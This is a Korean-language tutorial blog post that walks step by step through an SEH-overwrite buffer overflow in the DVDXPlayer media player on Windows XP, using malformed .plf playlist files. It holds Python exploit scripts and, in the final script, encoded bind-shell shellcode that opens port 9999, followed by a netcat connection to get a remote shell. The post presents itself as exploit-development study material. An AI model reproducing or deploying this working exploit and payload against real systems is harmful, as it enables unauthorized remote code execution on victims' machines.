Window Application Exploit -> SEH overflow exploit

본 포스팅은 fuzzysecurity Tutorials part 3 -> SEH overflow exploit을 분석 및 의역하여 작성하였습니다. Windows Application에 존재하는 취약점을 학습하는 데 그 목적이 있습니다.

분석환경

  • Window XP PRO SP3
  • Software: DVDXPlayer
  • Python
  • Kali linux

 

Step 1. Application

단순히 mp3 file을 실행해주는 program이다. 해당 mp3 file을 하나씩 추가할 수 있으며 .plf 형식의 playlist를 만들어서 추가할 수 있다.

 

Step 2. 취약점 분석

program에서 나타난 취약점은 playlist를 추가할 때 나타난다. Program 내부적으로 playlist를 Stack에 쌓게 된다. 이때 playlist의 길이는 필터링을 거치지 않아서 Stack에 무한적으로 data가 쌓이게 된다.

import struct

file = open("exp.plf", "w")

exp = "A" * 1000

file.write(exp)
file.close()

단순히 “A”가 1000개 들어간 exp.plf 만드는 code다.

Program에서 Playlist로 만들어진 파일을 추가시키면 위와 같이 EIP가 바뀐 것을 볼 수 있다.

 

Step 3. Exploit

EIP가 바뀌었다고 해서 program의 실행 흐름을 바꿀 수 있는 것이 아니다. EIP까지 offset을 구하고 shellcode의 주소를 넣어보면 shellcode가 아닌 다른 code가 실행되는 것을 알 수 있다.

“A”만 넣었을 때를 다시 살펴보면 SE handler라는 정보가 있다. SE handler는 EIP가 변조되었을 때 예외처리로 실행되는 함수의 주소이다.

여기서 볼 수 있는 것은 SE handler의 주소에도 0x41414141이 있는 것이다. 이 결과로 보아 SE handler 함수 주소도 stack에 같이 쌓이는 것을 알 수 있다. 그렇다면 EIP가 아닌 SE handler함수 주소까지의 offset을 구한다.

pattern을 만들어 넣어보면 0x41347541이라는 data가 담긴 것을 알 수 있다.

root@kali:/usr/share/metasploit-framework/tools/exploit# ./pattern_offset.rb 0x41347541
[*] Exact match at offset 612

SE handler 함수 주소까지의 offset은 612bytes라는 것을 알아냈다. 이제 실행 흐름을 어떻게 shellcode로 옮길지를 생각해봐야 한다.

EIP가 변조된 후 shift + F9를 누르면 예외처리 구문으로 빠지게 된다. 그렇다면 그림에서 보이는대로 handler 함수에 대한 stack frame이 다시 구성되고 그에 따라 esp가 갖고있는 값도 바뀌게 된다.

이 때 esp가 가진 값은 0x127E40이다. 거기서 esp + 0x8의 주소를 보면 내가 넣은 data가 있는 것을 알 수 있다.

해당 주소를 보면 next SEH record의 주소로 나와있다. 만약 덮은 SE handler함수 주소에 pop-pop-ret code가 담겨져 있다면 esp는 8bytes위로 올라가 내가 넣은 문자열을 code처럼 실행시킬 것이다.

import struct

file = open("exp.plf", "w")

exp = "\x90" * 608
exp += "A" * 4
exp += struct.pack('<L', 0x6164172e)
#exp += shellcode

file.write(exp)
file.close()

pop-pop-ret code를 SE handler에 담은  exploit이다.

ret로 인해서 nop sled를 타게되고 내가 넣은 “AAAA”가 실행되는 것을 볼 수 있다.

그리고 현재 memory의 상태를 보면 0x41414141이 있고 pop-pop-ret code 그 이후에 shellcode를 담을수 있는 것을 알 수 있다.

SE handler쪽을 넘어서 shellcode를 담을 수 있으므로 0x41414141 부분에 jmp 어셈블리를 넣어 shellcode를 실행시켜야 한다.

Debugger에서 해당 주소로  code patch를 시켜보면 \xeb\x06이라는 data가 나온다. 따라서 해당 code와 shellcode를 exploit code에 넣어 실행 파일을 만들어 실행시킨다.

import struct

file = open("exp.plf", "w")


buf = ""
buf += "\xba\xc2\xdb\x98\xcc\xdb\xda\xd9\x74\x24\xf4\x58\x31"
buf += "\xc9\xb1\x53\x31\x50\x12\x83\xc0\x04\x03\x92\xd5\x7a"
buf += "\x39\xee\x02\xf8\xc2\x0e\xd3\x9d\x4b\xeb\xe2\x9d\x28"
buf += "\x78\x54\x2e\x3a\x2c\x59\xc5\x6e\xc4\xea\xab\xa6\xeb"
buf += "\x5b\x01\x91\xc2\x5c\x3a\xe1\x45\xdf\x41\x36\xa5\xde"
buf += "\x89\x4b\xa4\x27\xf7\xa6\xf4\xf0\x73\x14\xe8\x75\xc9"
buf += "\xa5\x83\xc6\xdf\xad\x70\x9e\xde\x9c\x27\x94\xb8\x3e"
buf += "\xc6\x79\xb1\x76\xd0\x9e\xfc\xc1\x6b\x54\x8a\xd3\xbd"
buf += "\xa4\x73\x7f\x80\x08\x86\x81\xc5\xaf\x79\xf4\x3f\xcc"
buf += "\x04\x0f\x84\xae\xd2\x9a\x1e\x08\x90\x3d\xfa\xa8\x75"
buf += "\xdb\x89\xa7\x32\xaf\xd5\xab\xc5\x7c\x6e\xd7\x4e\x83"
buf += "\xa0\x51\x14\xa0\x64\x39\xce\xc9\x3d\xe7\xa1\xf6\x5d"
buf += "\x48\x1d\x53\x16\x65\x4a\xee\x75\xe2\xbf\xc3\x85\xf2"
buf += "\xd7\x54\xf6\xc0\x78\xcf\x90\x68\xf0\xc9\x67\x8e\x2b"
buf += "\xad\xf7\x71\xd4\xce\xde\xb5\x80\x9e\x48\x1f\xa9\x74"
buf += "\x88\xa0\x7c\xe0\x80\x07\x2f\x17\x6d\xf7\x9f\x97\xdd"
buf += "\x90\xf5\x17\x02\x80\xf5\xfd\x2b\x29\x08\xfe\x74\xa5"
buf += "\x85\x18\x10\xa9\xc3\xb3\x8c\x0b\x30\x0c\x2b\x73\x12"
buf += "\x24\xdb\x3c\x74\xf3\xe4\xbc\x52\x53\x72\x37\xb1\x67"
buf += "\x63\x48\x9c\xcf\xf4\xdf\x6a\x9e\xb7\x7e\x6a\x8b\x2f"
buf += "\xe2\xf9\x50\xaf\x6d\xe2\xce\xf8\x3a\xd4\x06\x6c\xd7"
buf += "\x4f\xb1\x92\x2a\x09\xfa\x16\xf1\xea\x05\x97\x74\x56"
buf += "\x22\x87\x40\x57\x6e\xf3\x1c\x0e\x38\xad\xda\xf8\x8a"
buf += "\x07\xb5\x57\x45\xcf\x40\x94\x56\x89\x4c\xf1\x20\x75"
buf += "\xfc\xac\x74\x8a\x31\x39\x71\xf3\x2f\xd9\x7e\x2e\xf4"
buf += "\xe9\x34\x72\x5d\x62\x91\xe7\xdf\xef\x22\xd2\x1c\x16"
buf += "\xa1\xd6\xdc\xed\xb9\x93\xd9\xaa\x7d\x48\x90\xa3\xeb"
buf += "\x6e\x07\xc3\x39"
NOP = "\x90" * 100

exp = "\x90" * 608
exp += "\x90" * 2
exp += "\xeb\x06"
exp += struct.pack('<L', 0x6164172e)
exp += NOP
exp += buf

file.write(exp)
file.close()

9999 port를 여는 binding shellcode를 넣어 .plf 파일을 만들어 실행시키면 9999 port가 열린 것을 확인할 수 있다.

그리고 local에서 netcat을 이용해 해당 port로 연결하게 되면 shell을 얻을 수 있다.